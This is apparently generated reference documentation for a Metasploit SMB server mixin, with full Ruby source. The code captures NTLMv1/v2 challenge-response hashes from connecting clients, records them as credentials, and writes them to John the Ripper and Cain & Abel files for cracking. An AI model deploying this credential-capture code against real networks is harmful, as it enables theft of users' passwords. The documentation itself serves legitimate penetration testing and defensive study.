Module: Msf::Exploit::Remote::SMB::Server::HashCapture
Overview
This mixin provides support for reporting captured SMB creds
Defined Under Namespace
Classes: HashCaptureAuthenticator, HashCaptureNTLMProvider
Instance Method Summary
collapse
#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot
optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines
Instance Method Details
#bin_to_hex(str) ⇒ Object
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# File 'lib/msf/core/exploit/remote/smb/server/hash_capture.rb', line 173
def bin_to_hex(str)
str.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
end
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#build_jtr_file_name(jtr_format) ⇒ Object
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# File 'lib/msf/core/exploit/remote/smb/server/hash_capture.rb', line 151
def build_jtr_file_name(jtr_format)
path = File.expand_path(datastore['JOHNPWFILE'], Msf::Config.install_root)
if File.extname(File.basename(path)).empty?
path += "_#{jtr_format}"
else
path_parts = path.split('.')
path = "#{path_parts[0...-1].join('.')}_#{jtr_format}.#{path_parts[-1]}"
end
path
end
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#on_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:) ⇒ Object
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# File 'lib/msf/core/exploit/remote/smb/server/hash_capture.rb', line 142
def on_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:)
report_ntlm_type3(
address: address,
ntlm_type1: ntlm_type1,
ntlm_type2: ntlm_type2,
ntlm_type3: ntlm_type3
)
end
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#report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:) ⇒ Object
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# File 'lib/msf/core/exploit/remote/smb/server/hash_capture.rb', line 31
def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:)
ntlm_message = ntlm_type3
hash_type = nil
user = ntlm_message.user.force_encoding(::Encoding::UTF_16LE).encode(''.encoding)
domain = ntlm_message.domain.force_encoding(::Encoding::UTF_16LE).encode(''.encoding)
challenge = [ntlm_type2.challenge].pack('Q<')
combined_hash = "#{user}::#{domain}"
case ntlm_message.ntlm_version
when :ntlmv1, :ntlm2_session
hash_type = 'NTLMv1-SSP'
client_hash = "#{bin_to_hex(ntlm_message.lm_response)}:#{bin_to_hex(ntlm_message.ntlm_response)}"
combined_hash << ":#{client_hash}"
combined_hash << ":#{bin_to_hex(challenge)}"
jtr_format = Metasploit::Framework::Hashes::JTR_NTLMV1
when :ntlmv2
hash_type = 'NTLMv2-SSP'
client_hash = "#{bin_to_hex(ntlm_message.ntlm_response[0...16])}:#{bin_to_hex(ntlm_message.ntlm_response[16..-1])}"
combined_hash << ":#{bin_to_hex(challenge)}"
combined_hash << ":#{client_hash}"
jtr_format = Metasploit::Framework::Hashes::JTR_NTLMV2
end
return if hash_type.nil?
jtr_format = ntlm_message.ntlm_version == :ntlmv1 ? Metasploit::Framework::Hashes::JTR_NTLMV1 : Metasploit::Framework::Hashes::JTR_NTLMV2
if active_db?
origin = create_credential_origin_service(
{
address: address,
port: srvport,
service_name: 'smb',
protocol: 'tcp',
module_fullname: fullname,
workspace_id: myworkspace_id
}
)
credential_options = {
origin: origin,
origin_type: :service,
address: address,
port: srvport,
service_name: 'smb',
username: user,
server_challenge: challenge,
client_hash: client_hash,
private_data: combined_hash,
private_type: :nonreplayable_hash,
jtr_format: jtr_format,
module_fullname: fullname,
workspace_id: myworkspace_id,
}
if domain.present?
credential_options[:domain] = domain
credential_options[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
credential_options[:realm_value] = domain
end
search_options = {
realm: credential_options[:realm_value],
user: credential_options[:username],
hosts: credential_options[:address],
jtr_format: credential_options[:jtr_format],
type: Metasploit::Credential::NonreplayableHash,
workspace: framework.db.workspace
}
if framework.db.creds(search_options).count > 0
vprint_status("Skipping previously captured hash for #{credential_options[:realm_value]}\\#{credential_options[:username]}")
return
end
create_credential(credential_options)
end
print_line "[SMB] #{hash_type} Client : #{address}"
print_line "[SMB] #{hash_type} Username : #{domain}\\#{user}"
print_line "[SMB] #{hash_type} Hash : #{combined_hash}"
print_line
if datastore['JOHNPWFILE']
path = build_jtr_file_name(jtr_format)
File.open(path, 'ab') do |f|
f.puts(combined_hash)
end
end
if datastore['CAINPWFILE'] && jtr_format == Metasploit::Framework::Hashes::JTR_NTLMV1
File.open(File.expand_path(datastore['CAINPWFILE'], Msf::Config.install_root), 'ab') do |f|
f.puts("#{user}:#{domain}:#{server_challenge}:#{client_hash}")
end
end
end
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#validate_smb_hash_capture_datastore(datastore, ntlm_provider) ⇒ Object
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# File 'lib/msf/core/exploit/remote/smb/server/hash_capture.rb', line 10
def validate_smb_hash_capture_datastore(datastore, ntlm_provider)
if datastore['CHALLENGE']
chall = proc { [datastore['CHALLENGE']].pack('H*') }
ntlm_provider.generate_server_challenge(&chall)
end
if datastore['JOHNPWFILE']
print_status("JTR hashes will be split into two files depending on the hash format.")
print_status("#{build_jtr_file_name(Metasploit::Framework::Hashes::JTR_NTLMV1)} for NTLMv1 hashes.")
print_status("#{build_jtr_file_name(Metasploit::Framework::Hashes::JTR_NTLMV2)} for NTLMv2 hashes.")
print_line
end
if datastore['CAINPWFILE']
print_status("Cain & Abel hashes will be stored at #{File.expand_path(datastore['CAINPWFILE'], Msf::Config.install_root)}")
print_line
end
end
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